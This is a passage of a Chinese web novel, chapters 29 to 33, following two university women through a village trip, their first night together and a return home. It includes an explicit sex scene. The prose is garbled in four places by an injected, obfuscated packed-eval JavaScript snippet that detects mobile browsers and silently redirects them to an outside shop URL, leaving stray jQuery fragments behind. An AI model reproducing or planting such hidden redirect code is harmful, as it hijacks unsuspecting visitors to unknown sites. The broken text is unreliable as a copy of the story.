不知过了多久,外面秀兰说话的声音打断了两人,她带了什么人进来。 “谭姐,这就是村长带来的两位客人,我已经带她们做过陶艺,实在不知道该干些什么了。这里其他区域我都不熟悉,要不你带她们玩玩?” 进来的人秦离见过,正是她们中午吃饭的店里老板,那个年轻妇人。 看见她俩,谭姐有些意外:“你们还没走啊?” “谭姐……”秀兰拽了拽她的胳膊,自以为小声蛐蛐,“村长说她们给了钱,让她们多呆会哩。” 谭姐笑了,了解秀兰的性格,回拍了她下:“你去烧你的窑吧,我招呼她们。” “好嘞!”秀兰如释重负,欢喜地走了。 谭姐比秀兰要成熟和健谈许多,给两人解释道:“你们别介意啊,实在是我们这里已经很久没招待过客人了,我还以为你们吃了饭后已经走了呢。” 秦离很直白:“本来是要走的,被村长一趟牛车给拉过来了。” “哈哈哈哈,”谭姐开怀大笑,“那车可是村长的宝座,平时我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370159|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们轻易坐不得的。” 秦离摊手:“那还真是我们的荣幸。” “不过我猜,你们进村时村长应该收了一百块钱吧,也算是提前支付车费了。走吧,我带你们参观参观,这片除了陶坊,其他地方都是我一手布置的。” 谭姐带着钥匙,打开每间房子,带她们参观。 出乎意料的,房子里布置得不错,也没什么灰尘,谭姐说她每过一段时间都会来打扫下。油坊、布坊、酒坊、豆坊,每个区域都放了些设备,墙上挂着土法制作的介绍和一些照片,大多是村长、秀兰和谭姐,还有些应该也是其他村民,依旧没什么年轻人。 秦离看了个遍,感觉跟她去过的其它古村古镇上的东西都差不多。不过那架纺布机看着有点特别,谭姐指导,她上手试了两下,嘎吱嘎吱响,怪有意思的。 路上,谭姐讲了下村子为什么会变成现在这样。 原来,这里最初确实不叫桃花源,就叫桃花村。这村子因为处于两个乡的交界处,村子上的人又少,管辖权归属不是很明确,因此在申请各种福利保障时总是格外困难,也没钱修房子,大家都还住在几十年前的破房子里。 这些年附近的柳城发展越来越好,村子里为数不多的年轻人都跑去工作生活,把父母也接了过去,不乐意回来。剩下的都是些孤寡老人和爹娘死了跑了的孤儿,秀兰和谭姐是为数不多留下来的年轻人。 秀兰是村长捡回来的,人有点傻,没什么大志向,就爱烧窑,便安安分分在村子里呆着。谭姐呢,前些年在柳城和朔城之间跑点旅游生意,赚了些钱,受累后前年得了场大病,身体弱了许多,因此就回村子里休养,挂了个铺子平时做做饭,来吃的基本都是村里人。 秦离疑惑:“咦,那中午时你给我们拿的菜单是?” 谭姐眨眨眼:“那是我现写的。” 她接着说。 她回村前就偶尔会接济村里,但她总不能一个人养活整个村子吧。当时她还在跑生意呢,村长在电视上看到什么非遗村的介绍,寻思着她们村也能打造下,就打了个桃花源的招牌,借着河东那边几栋老房子改造了下。刚好那边房子远,村里人都不愿意过去住,一直空着。 她或许心里还畅想着,如果村里发展起来了,那些离开的年轻人就会回来吧。 靠着她的手段,一开始这边也来了些游客,可惜好景不长,没有政府政策支持,村子活动又过于单一简陋,慢慢的就没什么客人来了,谭姐也无能为力。 渐渐就变成现在这样子了。 谭姐有几分口才,听得人唏嘘不已,两人都感慨万分。 黎羽突然问道:“你们附近不是有个开了很多花,蝴蝶很多的山谷吗,那里打造成旅游景点应该很不错。” “山谷?”谭姐反应了下,“附近许多地方在夏天都会开不少花,但也不很特别。至于蝴蝶,路边三三两两的倒是有,但我从来没见过蝴蝶很多的时候。” “欸?” 秦离和黎羽都愣住了。 那片美景,像梦一样,仿佛是只有她们两人才遇见的奇迹。 30. Chapter 30 最后,两人决定在这里住一晚再走。谭姐说这里的夕阳很美,又说叫了商务车,明天一早过来接她们,今晚她们可以住在她家里。 谭姐家是镇上条件最好的,侧卧换了新床单,简单但很干净。 听闻她们要在这里住一晚,村长高兴得合不拢嘴,直让她们多玩几天,还要把那一百块退给她们,黎羽拒绝了。 于是,村长又附赠了一次牛博基尼豪车服务。这次,秦离习惯了这种节奏,甚至还跃跃欲试要掌舵,在村长指导下过了一把开车瘾。 晚上,两人依旧在谭姐店里吃的饭,吃完后放了行李,在街上遛达着,还和几个自来熟的阿婆闲聊了两句。 或许是看习惯了,也可能是太阳下坠,天色没有白日那么明亮,给房屋罩上了怀旧滤镜,秦离觉得这里一切看着也没那么破烂,别有一番味道。 越往西南边走人越少,在村子的尽头,秦离看见了一座戏台,下面还摆着刀枪棍戟,或许是经历了风吹雨淋,表面生了不少锈。 “哇——好酷!” 秦离跑过去,拎起一把大刀,做了个挥出去的姿势:“看我青龙偃月刀!” 刀身是纯铁做的,很沉,她挥得晃晃悠悠:“快,你也选个来。” 黎羽依旧拗不过她,见四下无人,勉强选了把长枪,配合她做了个刺的动作。 “真好~”秦离恋恋不舍将刀插回底座里,“我以后就要在家里书房里摆把刀,真的太酷了!” 黎羽不置可否,但很喜欢秦离有活力的样子,只要……不拉上她一起。 摆弄了一阵,秦离又跑到了戏台上。她戏瘾大发,突然心血来潮:“阿羽,帮我拍一段~” 黎羽开始兢兢业业当摄影师。 “老子——的队伍,才——开张,十几——个人呐,七八——只枪,打得——那鬼子,昏头——转向……”① 秦离唱得抑扬顿挫,手舞脚跺,眼神坚定得像要入党。 “……”黎羽扶额,又想笑又想逃,“这什么啊……” “沙家浜呀,福利院的婆婆教我的。” 秦离蹲下来,凑到镜头面前,给了黎羽一个wink。 “怎么样,我唱得不错吧~” 黎羽笑着点点头,还怪有趣的。 这时,远处道路有人声和脚步声传来,两人吓了一跳,秦离从戏台上跳下来,拉着黎羽跑开了。 两人欢快地笑着,光落在脸上,笑靥如花。 她们跑到了河边,黄澄澄的夕阳将整个世界照成一片橙色。水波粼粼,有小鱼在水面翻腾,夕影晃动得更加厉害,很快又恢复平静。 河水缓缓流淌着,带来清新的水汽味。两人顺着河堤往上流走。秦离牵着黎羽的手,甩出很大的幅度,带着点孩子气。 她又突发奇想了:“阿羽,你会不会打水漂?” 黎羽摇头。 秦离兴奋了:“来,我教你。” 她蹲在地上找鹅卵石,黎羽帮她一起找,递过去的石头被她否掉。 “这样的不行啦,要那种大一点,扁一点,底部比较平的,这样才能打得起水漂。” 她选了半天,挑了个满意的,动作预备,架势看起来倒是很足。 两双眼都盯着,石头扑通一声掉进水里,没有一丝挣扎的空间。 “……” “……” 面对黎羽无声询问的眼神,秦离炸毛了:“刚才……刚才不算!我只是失误而已,看我再来一次。” 她又捡起一片石头,屏气凝神,侧着身子扔了出去,石头在水面漂亮地点了三下,荡起三圈水波。水下的鱼儿被惊到,尾巴一甩,游向远方。 “好耶,”秦离兴奋地跳起来了,转身望向黎羽,眼睛亮晶晶的,“我厉害吧?” 黎羽摸摸她的头,如她愿夸着:“小乖好厉害的。” “嘿嘿~”秦离心满意足。 她又开始怂恿黎羽:“你也试试嘛,很简单的,捏着石头,跟水面平行着扔出去就可以了。” 黎羽知道不依她的,她肯定说个不停,便捡了个扁头的石头,按她说的打出去。不出意外,一个水漂也没打起来。 又打了两个,依旧如此。 “诶……”秦离有些意外,或许她觉得黎羽什么都能做得很好。 黎羽抿着嘴不说话,又捡了几块,左手握着,看表情认真起来了。 气氛变得凝重,秦离也不出声了,紧张地盯着。 黎羽盯着水面,气势也变了,许久才出手。这次,石头在水面点了两下。 “好耶。”秦离欢呼。 黎羽手上不停,继续动作,接连打出水漂。 三个…四个…五个…七个… “哇~阿羽,你这也太——厉害了!七个耶,你居然能打出七个水漂!” 秦离夸张地表达着自己的崇拜,黎羽嘴上没说什么,但嘴角的弧度扬得更高了。 “就,也不是很难嘛。” “是阿羽太厉害啦!”秦离拥着黎羽的手臂,给她脸颊上印上一个香甜的吻。 两人继续沿着路往前走。 河堤的尽头延伸出一块小的中心岛,中心岛的中央有棵高大的榕树,枝叶茂密,树根发黑,圆润的边缘映在一片光明之中。 走近了,秦离看见高处最粗的那根树枝上挂着秋千,粗麻绳拉得很长。 黎羽先拉了下麻绳后,秦离坐上去了,自己往后推了一些,双腿撑直,轻轻荡了荡。 突然,身后多了一道力,秋千被推高,秦离吓了一跳:“阿羽!” “抓好了!”黎羽难得带了点恶作剧的意味,狡黠笑着。她每一下都用力往前推,秋千越飞越高。 秦离死死抓住麻绳,离地面越来越远,好像要飞出大树的边缘,飞出小岛,飞向天际。 刺激是刺激,但心脏也越跳越快。感觉快要和地面平行了,秦离开始害怕,连声音都有些抖:“阿羽……” 她的声音很小,按理来说旁人是听不见的。但仿佛心有灵犀一般,黎羽卸了力气,带着秋千一点点降下来,随后停在了原地。 停下后,秦离坐在上面,还没完全回过神。黎羽捏捏她的脸,问道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370160|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吓到了?” 秦离哼的一声,别过脸去别扭着不看她:“你真是……坏死了!” 黎羽笑着将她拥进怀里,安抚性地拍拍她的背:“好啦,别气,我有注意分寸。你看你觉得害怕了,我不是就放你下来了?” “哼。”秦离依旧哼哼唧唧的,但确实没有真的生她的气,只是想听她再多哄自己几句。 等到黎羽亲亲她的嘴唇,又说了许多好话,秦离才勉强不生气了。 黎羽再次测试了秋千的结实程度,确定没问题后,提议到:“要不要一起荡秋千?” 秦离还没反应过来:“怎么一起?” “我们可以一起站在秋千上,到谁那边的高处,就由谁使劲往下蹬,秋千就能荡起来了。” “啊……” 刚刚在秋千上,秦离已经感觉到它的不可控了,总觉得要不是自己抓得紧,只要侧翻了,自己恐怕就要摔地上了。 看出来秦离有些怕,黎羽又亲了亲她:“小乖,别担心,我很会荡秋千的。你怕的话就抓着绳子就好,我来用力。” 今晚她主动的亲亲总是很多,说话也柔得像棉花糖一样,甜得拉丝。听她这么轻柔地跟自己说话,秦离无法拒绝她一点。 “好……好哦。” 而且,她难得看见黎羽表现自己的一面,为更多了解亲近她一点而欢喜。 黎羽先踏上秋千,行动轻巧,秋千被它乖乖控制着,一点不动弹。 “小乖,来。” 秦离紧抓着绳子,试探着踩了一只脚上去,还好还好。她咬牙将另一只脚放上去,秋千马上不老实地晃动起来了。 “呀——” 秦离忍不住尖叫着就想蹲下去,黎羽忙松开抓绳的一只手,揽住她的腰,安抚着:“没事的,没事的,别怕,抓住绳子,站直了就好。” 腰间那只手给了秦离力量,给了她全部支撑。她整个身体都靠在黎羽身上,脖颈相交,浓烈的呼吸全部吐在她赤/裸的皮肤上,让那一块微微战栗着。 “好了……你……你来吧……” 秦离忍不住闭着眼,把麻绳抓得更紧了。 黎羽笑了,微蹲后腿部用力,蹬着秋千一点点晃动起来。 秋千慢慢地越晃越高,秦离胸腔里一颗心怦怦直跳,却说不出是因为害怕,还是因为两人的依偎而兴奋。 “小乖,你睁眼。” 听见黎羽的声音,秦离乖巧睁眼,看见的是她近在咫尺的笑容,纤长的睫毛,浅棕色的眼瞳里全是自己。 脸色绯红的自己。 黎羽脸上微微出汗,声音同样兴奋:“你看。” 她们一起荡向越来越高的地方,一起飞向太阳。 背后,是那轮火红的落日,烧红了大半片天空、河水和草地,也将她们两人笼罩其中。 那样的火热,让紧贴着的两颗心也越跳越快。 就好像,这个世界只有她们两个人。 天空,大地,山川,河流,花草,这棵大树,见证着此刻。 独属于两人,深深印刻在记忆里的此刻。 31. Chapter 31 第二天,两人坐上商务车返程。或许因为是小车,开窗吹着风,秦离的晕车没那么严重,两人便商量着干脆包车继续去其他地方玩。 路上又经过昨日那片山谷,花依旧艳丽地开着,但就像谭姐所说,并没有多少蝴蝶。 蝴蝶纷飞的百花谷,就像是一场梦,独为两人盛放。 接下来几天,两人去了朔城和周边其他一些景点。秦离尝了她心心念念的啤酒鱼,确实是味道一流。两人在人声鼎沸的隐秘角落、无人走过的寂静街头牵手、拥抱、相依,在一间又一间简陋的宾馆里疯狂亲吻,身体缠绵着,相拥入眠。秦离已经习惯了随时有黎羽陪伴,习惯了她对自己每一处、每件事的了解。 热恋时期的少女,心燃烧得很滚烫,满眼都是恋人,想不到其他任何人、任何事。 不知不觉,秦离已经出来十多天了。期间她断断续续给爸爸通电话,伪装出还在参加竞赛的样子,但竞赛也终有结束的时候,明天就是回去的日子了。 两人在回柳城的路上,秦离已经买好了机票,明天下午三点起飞。 “啊,不想和你分开……”车上,秦离抱着黎羽,在她怀里蹭来蹭去,撒娇着。 黎羽以手指为梳,帮她顺着弄乱的长发,哄人着:“总要回去的吧。回去我们可以打电话,等开学就能见面了。” 秦离突然想起刚来时黎羽说的话,紧张道:“开学后你不会就变了吧,你之前还说那次看电影后就再不和我见面了。” “……”黎羽无语,“还记仇着哦。” 秦离嘻嘻笑着,吐了吐舌头。 黎羽还是认真回答她:“不会变的。不过大四基本已经没课了,我开学后更多时间会在公司那边,不能只停留在线上运营了,但每周肯定都会回来的。” “好哦。”秦离眼咕噜一转,又想着,“你要是忙的话,我也可以来公司找你嘛。” 黎羽拍了拍她的头,语气严肃:“你好好上课,大三课挺多的,而且你还有辅修和……” “好啦。”秦离乖巧应着,“那我等你回来。” “乖。”黎羽安抚着亲亲她的嘴唇。 最后一晚,仍然是在那栋老房子里。秦离下载了《指匠情挑》,拉着黎羽再看一遍。 三集,181分钟,故事节奏比较慢。两人依偎在一起,盖着一条薄毯,边看边聊着电影里的人物和情节。 莫德与苏在房间里跳舞,在花园里拥抱,苏将手指探进莫德的口腔,磨掉她的尖牙,两人每夜睡在一起,直到……亲吻,抚摸,手指探进衣衫往下滑动,更加深沉的欲望。 秦离的喉咙有些痒。她咽了咽口水,喉头滚动的声音在寂静的夜里显得格外明显。 奇怪…… 身体里有股莫名的悸动,电流乱窜,秦离不自在地动了动。 这部电影她之前已经看过一遍了,这段亲密戏没有过度暴露,不算是大尺度,却让她有些羞赧。 她用手背冰了冰有些发烫的脸颊,目光不由地瞥向黎羽,才发现她在看着自己,似乎……已经看了很久了。 喉咙又有些痒了,秦离舔了舔发干的嘴唇,正要开口,发现黎羽的目光缓缓下移,落在了自己的唇上,眼神难得有些凶。 房间里的空气变得粘稠,电视声音也好像离得很远。 身体发软,秦离的手指蜷缩着,将薄毯抓成一团。她牙齿轻咬着下唇,忍不住想将它藏起来。 突然,黎羽动了。她抱着秦离的后颈,凶狠地亲了上来,带着滚烫的热意和潮湿的触感。 秦离从未见过她如此主动强势的样子。 黎羽亲得很用力,吮吸着秦离的唇,让表层充血变得殷红。她的舌尖很灵活,熟练地撬开她的唇,从齿间探了进去。防守的一方并无任何抵抗之心,相反,她迫不及待张开嘴,献上自己的全部。 舌尖和舌尖触碰着,缠绕着,吮吸着,两人的津液在口腔内交换,喘息间匆忙呼出的所有气息都被对方贪婪地吸入,全部占有。秦离跪坐着,献祭般微仰着头,双手环住黎羽的脖子,将她的身体压向自己,反守为攻。 两人的身体紧紧贴着,秦离感觉到那股酸软的感觉在往下蹿,带动着它急促地收缩着,不自觉颤动。 心脏已经不属于自己了,它的跳动是为了迎合另一个人的动作,另一个人的呼吸。 秦离不知时间的流动,不知停歇,直到黎羽停下,缓缓拉开距离。津液挂成一条细长的银丝,牵在两人双唇之间。两人都喘着气,胸膛起伏,浓烈的呼吸搅在了一起,无声的勾引。 秦离远不够满足。她又凑了过去,想继续亲下去,被黎羽环住肩阻止了。她的眼睛因无法得到的渴望而睁得微红,嘴微张着,隐约露出洁白的门牙,像只着急却吃不到眼前胡萝卜的兔子。 她直白地盯着黎羽,声音因动作被制止而显得委屈:“想要……还想要亲……” 黎羽的眼神也有些飘忽,耳根泛红。她安抚性摸了摸秦离的背脊,一次又一次,从上往下。平日里普通的动作,在此刻也显得暧昧,带着某种意味。 “……到床上去。” 是某种信号,秦离又变得乖巧,但她一刻也不愿与黎羽分开。她与黎羽粘腻着,从沙发转移到了床上,脚带过房门,紧闭的大门隔绝外面还继续的电视声,也隔绝了两人之外的所有声音。 这次,秦离成了更主动的一方。她压在黎羽身上,两人倒在了床上,亲吻变得更加激烈,秦离凶狠地像是要将黎羽吞吃入肚。她的脑子成了一团浆糊,身体胡乱蹭着,好像知道该如何进行下一步,又不知道。 黎羽摸到了她的衣角,带动着她。秦离配合地举着手,衣衫落在了地上,身体更加清凉。温香软玉,曾经一瞥的圆润终于出现在黎羽面前,是最美好的弧度。 秦离也想如此,往上撩时,黎羽的身体却变得紧绷,手上本能推阻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370161|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 气氛一下子冷下来了,但黎羽没有离开,只是僵在了原处。 这时,天花板上的顶灯突然啪的一声熄灭了,秦离惊得一抖,黎羽解释:“可能是跳闸了。” 她的声音还不平稳,有着燃烧的余温。 室内光线暗了许多,蓝色窗帘被风轻轻吹动着,霓虹灯光透了过来。秦离的眼睛很快适应了黑暗,她能看清黎羽的轮廓,她微抿的薄唇,她脸上的犹疑害怕…… 她的身体,仍被长袖衬衫包裹着的身体。 秦离想起了黎羽讲述的过去,想起了她的伤。她的呼吸放缓,碰着她的脸,声音很轻柔:“阿羽,别害怕,我在的,……可以吗?” 黎羽长吁一口气,闭着眼,睫毛轻颤着,最终微不可见地点了点头。 秦离屏住呼吸,指尖向下滑动,笨拙地解开一颗又一颗纽扣。 期间,黎羽一直没有睁眼。秦离亲吻着她的唇,将她从长袖衬衫里剥离出来,像是从蚌中取出珍珠。 秦离里面穿着件黑色的束胸背心,裸露的皮肤上尽是陈年旧伤,像是被棒打、砸伤、烫伤的。 原来,上次看到的伤口只不过是冰山一角。 秦离的手也开始发抖。她的心紧揪着,酸涩的情绪冲散了之前的所有欲望。她忍住就要涌出的泪,没发出声音,手上没停,继续解开背心。 终于,整副身躯都毫无遮拦地出现在秦离面前。 黎羽的身体线条美好,因为常年锻炼而充满力量,然而上面却伤痕累累,让人心痛。黑暗在那些伤口上覆盖了一层幛,却依旧无法遮掩其狰狞。 秦离的手颤抖得更厉害了。她想要说些什么,却哽咽住无法开口。 黎羽仍闭着眼,但误解了她的意思,自嘲笑道:“吓到了?很难看吧。” “不是的!”秦离呜咽着,指尖触碰她的伤口,“我就是难过……” 她的泪水终于憋不住流出来,倒把黎羽吓了一跳。她睁开眼,刚才自厌的情绪淡去,哭笑不得地给秦离擦眼泪:“怎么哭了?” “我……我好生气,你妈怎么可以这么对你,她太坏了,怎么能这么对你!” 秦离边哭边骂,但性格使然又骂不出太狠的话。黎羽抱着她,柔软的触感和滑过的部位让心跳微微加快。但现在不是心猿意马的时候,她压下欲望,哄着人:“没事了,都是过去的事了,现在她……她已经没法打我了。” 秦离哭得话都说不清楚了,但嘴上还在说:“但……但你……你还在受到伤害,还在难过啊……” 黎羽的心上好像被人轻轻呼了口热气,暖暖的,软软的。她看着秦离哭得稀里哗啦的脸,吻了过去,一点点亲过她脸上的泪痕,亲到她眼睛时,忍不住多亲了两下,吻去她所有的泪水。 不想……不想再看到她哭。 她的声音很轻,带着浓厚的欲望:“小乖,那你安慰安慰我。你安慰下我,我就不难过了。” 32. Chapter 32 秦离泪眼朦胧。她听黎羽的话,乖巧敞开自己的全部,接受黎羽所给予的一切刺激。 黎羽手上一直没停,轻捏着,揉握着,按压着,滑动着,探索着,动作着。 秦离是被暴雨淋湿的黄鹂鸟,在枝头颤抖得厉害,不受控制地发出甜美的声音。她大汗淋漓,大脑一片空白,只有身体被动地动着。 这种感觉很陌生,一阵又一阵的潮涌让她难以招架。她的脖子高仰着,动情时刻止不住地抽搐着,发出小声的呜咽。 被欺负得厉害。 但她又很听话,只会抱着始作俑者的脖子,紧紧贴着她,寻求慰藉。 “小乖好乖……” “张嘴……” “抱住我的脖子……” “你的声音好好听……” 黎羽的话变得很多,代替身下已经说不出话来的另一个人说着。她的动作越来越快,同时用吻安抚着已经彻底失控的秦离。 秦离浑身已经湿透了,成滴的汗水顺着腿弯往下滑。她闭着眼睛,打湿的长发贴在脸颊、脖颈和肩膀上,直到身体弓起,攀上高峰。 然后,她摊在床上,四肢发软,没有力气再动弹一根手指。 黎羽轻吻她的肩膀和锁骨,引起她又一阵颤动。 “别……别来了……” 她的声音使用过度,有些嘶哑。 黎羽笑了,将她搂在怀里,扯过薄被盖在两人身上,遮去大半春光。 好半天,秦离才缓过来,靠在黎羽臂弯里,戳了戳她的脸:“你真是……” “嗯?”黎羽摸着她的头发,有一下没一下撩着,声音有些性感。 “真是……坏死了……” 秦离嘀咕着,将脸埋在她肩上,身体贴得更近了。 黎羽的笑容更明显了,没有任何收敛,难得带了点幼稚的孩子气。 她不说话,只是将秦离从害羞的状态里拉出去,又凑过去亲她的脸,她的眼睛,她的唇,一下又一下,不会厌烦。 “小乖……” “小乖……” 她一声又一声唤着,唤得秦离心化成了一滩春水,没有任何招架之力,任她作为。 两个人耳鬓厮磨,不知日落日起,不知风来雨去,不知这房间之外发生的一切事情。 待到所有的所有都再次,再次,又再次结束,那条薄毯已经湿得不像话了。 窗外的霓虹灯都暗了下去,只有隐约的光线透过来,能勉强看清对方的轮廓。 秦离的手搭在黎羽的心口上,凭着记忆抚摸过她的伤口——那些凸起的伤痕,再凑过去,用唇感受着。 一一吻过。 “小乖……” 黎羽的声音变得更加性感了,叹息里似乎包含了许多意味。 她从床头摸出一包烟,询问式点了点秦离的肩膀。秦离点点头,意识到黎羽可能看不到,随即开口道:“我没关系,你抽吧。” 黎羽轻轻旋转着火机,熟练打开。橙色的火苗在黑暗中不安跳动,照亮了秦离满含情愫的一双眼,和黎羽有些放空的神情。 亮光一晃而过,香烟点燃,光圈在黑暗中氤氲着,氤氲着,然后化成一团看不见,转瞬即逝的迷雾。 秦离突然觉得有些空虚,不知道是身体欲/望退散后带来的,还是心理作用。 她对这种感觉很熟悉。从小到大,在每一次狂欢,每一次极度喜悦兴奋之后,都会出现这样的感觉,就好像什么东西都飘得很远,心里空落落的。 只是这次,全身残留的酸软感让她觉得陌生。 她只能抱住黎羽,感受她的体温,被她身上的草木香紧紧环绕着,寻求依靠。 感受到她的不安,黎羽揉了揉她的脑袋,声音很轻柔:“怎么了?” 秦离的声音很娇:“就是想抱着你嘛。” “你呀……” 黎羽笑了。秦离看不见她的笑容,却能感受到她振动的胸腔,像某种低音乐器,让她的心脏跳动着,也与之共鸣。 秦离突然有了冲动。她抓着黎羽的手指道:“给我也来一根吧。” “……”烟烧到了尽头,黎羽掐掉烟蒂,拒绝了,“抽烟不好,别试了。” 秦离本来只是突发奇想,听她这么说反而倔起来了:“我想试试。”说着她趴在黎羽身上,伸手想去够床头的烟盒。 黎羽总是拗不过她的。她没有开常抽的万宝路,而是拿了一盒爆珠细烟,教她捏爆爆珠。 秦离用火焰燎着烟尾,尾部烧得焦焦的,但没有点着。 黎羽教她:“你要边吸边打火,才能点着。” 秦离动作很笨拙,半天弄不好。于是,黎羽拿过那支烟,含在嘴里,点火微吸了一口。 火光明艳。 然后,她将那支刚刚燃烧的烟递给秦离。 秦离不熟练地夹着烟,微微张嘴,唇落在了黎羽刚刚含过的地方,有微湿的触感。 她没有防备,猛吸了一口,猝不及防被呛住了,猛咳嗽。 黎羽忙拍着她的后背,给她顺气,无奈道:“就说别试了吧。” 秦离犟得不行,非要再试。她小心翼翼试着,这次,香烟缓慢燃烧着,她轻轻吐出温和的烟雾。 “哼,也不是很难嘛。” 她的动作逐渐变得熟练。 黎羽笑而不语,没有提醒她吸烟过肺的说法。 一支烟很快就全变成了灰烬。秦离摩挲着手指,刚才的躁意化作了另外一种冲动。她凑了上去,迷恋般轻咬着黎羽的唇,交换着彼此的气息。 烟草味的亲吻,说不出是谁的味道。 第二天,过了正午,两人才醒来,看到手机时钟后,一阵兵荒马乱,最后踩点到了机场。 安检倒计时,秦离匆忙抱了抱黎羽,声音落在了她的左耳:“我走了,记得要想我。” 她的呼吸离得很近,嘴唇似碰微碰,带着滚烫的热意。 接着,她风风火火跑了进去。 黎羽看着她的背影,看着她进入那片玻璃后,再看不见一点。 她依旧在原地站着,望着已经望不见的人。 像掐着点般,电话声响起,黎羽接通电话,目不转睛:“喂……妈……知道了……我马上过来…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370162|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 再无法停留,她转身离开。 秦离心里甜滋滋的,嘴角扬着压也压不下去的笑容。 下飞机了,爸爸来接她,惊奇道:“这么开心?这次竞赛成绩很好哦?” “……是,情况还不错啦,”秦离无法掩饰自己的喜悦,搪塞着,“哎呀,别问了,还不知道最终结果呢。” 坐上车后,她继续给黎羽发消息:【我刚坐上车,晚上去吃火锅,好些天没吃馋死我了[激动][口水],今晚我要点特辣!】 黎羽可能在忙,没有回消息。秦离接连发了好多条,还给她看在飞机上拍的云。 到晚上九点多的时候,黎羽才回消息:【抱歉,白天有点事情忙着,一直没来得及看手机。[抱抱]】 秦离本来就有点不开心,看着屏幕上那个简单的抱抱小人,低落情绪像泡泡一样涨开了:【我一直在等你的消息。】 【对不起,小乖……】 随着黎羽消息而来的是她的电话。秦离心脏跳了跳,在床上翻了个身,清了清嗓子,接通电话。 “小乖……” 隔着手机,黎羽的声音带着一种不真实的质感。明明才过去了几个小时,秦离却已经开始思念对方。 “阿羽……” 她的声音委屈巴巴。 这晚,她们说了很久的电话,最后秦离是挂着通话睡着的。早上醒来时,手机已经没电了,微信上显示通话时长三百多分钟。 这之后的每一天夜晚,她们都在语音通话里度过。黎羽有时候打得早,有时候打得晚,但不管怎么样,总会跟她道晚安。 秦离也习惯了,跟她讲生活里发生的每一件事。她也好奇黎羽在做什么,黎羽的回答总是很单一:忙公司的事,偶尔在家看电影,和本地的朋友出去吃饭。 秦离知道的,她并不喜欢外出。为数不多接触的朋友,也都听她说过了,基本是那天见过的借机车的女孩子那个圈子的人。 秦离想到了黎羽的前女友,假期应该也回柳城了吧。她有些想问,又怕触及黎羽的伤痛,便忍住没提,只是心中偶尔念着。 南城的夏天也十分闷热,秦离不乐意出门,除了天天和黎羽发消息打电话,想念她之外,就是打打游戏。 她也想让黎羽一起玩,黎羽倒是陪着她申请了个账号,但终究不是太感兴趣,秦离也不想勉强她做不喜欢的事,作罢。 这天,秦离接到了单智的电话,让她出来到滨河路喝杯酒。 单智是她的初中同学,与秦离不同,是个内敛的女生,两人认识的时间差不多有生命的一半长了。大学她们去了不同的城市,交流有所减少,但关系依旧很亲近。 单智过去不喝酒的,这次突然约酒,秦离知道,或许是发生了什么事。 约定的这天是暴雨天,街上没多少行人,秦离打着伞如期而至,单智早已坐在店里,点了杯鸡尾酒,看着情绪不佳。 秦离在她对面坐下,随便点了个推荐款,然后问道:“怎么了,突然说要喝酒。” 单智将剩下的酒一口闷掉,脸上尽是疲色:“我要休学了。” 33. Chapter 33 单智和父母的关系很糟糕。无尽的谩骂和指责,极度打压和贬低,让她对世界竖起很高的防御圈。 秦离是为数不多能让她短暂打开通道,稍微触及内心的存在。 她是个很文艺,很有创造力的人,会画很漂亮的画,这点来说和秦离很像。但报考大学时,她被父母逼着选了金融专业,至此陷入痛苦自闭之中,与所有人的联系也越来越少。 这是读大学后,她第一次主动约秦离见面,说的便是如此严肃的话题,但两人之间丝毫没有许久未见的隔阂。 “啊……”秦离不习惯应对这种时刻,犹疑着问道,“怎么了?不管怎么样,休学是个大事,要好好考虑吧。” 她不知道如何开口安慰对方,语气愈发小心翼翼。 还好,单智并不需要别人的安慰。她已经下定决心,只是或许还需要一点点来自亲近之人的肯定吧。 “我已经想好了,去国外重新读服装设计,以后再也不回来了。” 说着这话,单智的表情却不轻松,心中显然还有尚未释怀的事。秦离猜得到,八成跟她家庭有关,但也不便多问。 知道单智不是单纯的休学,有之后的打算,她松了口气,没有询问原因,只语气故作轻松道:“你决定好就行啦,想做就去做吧,我肯定支持你的。而且服装设计,听上去好酷啊~” 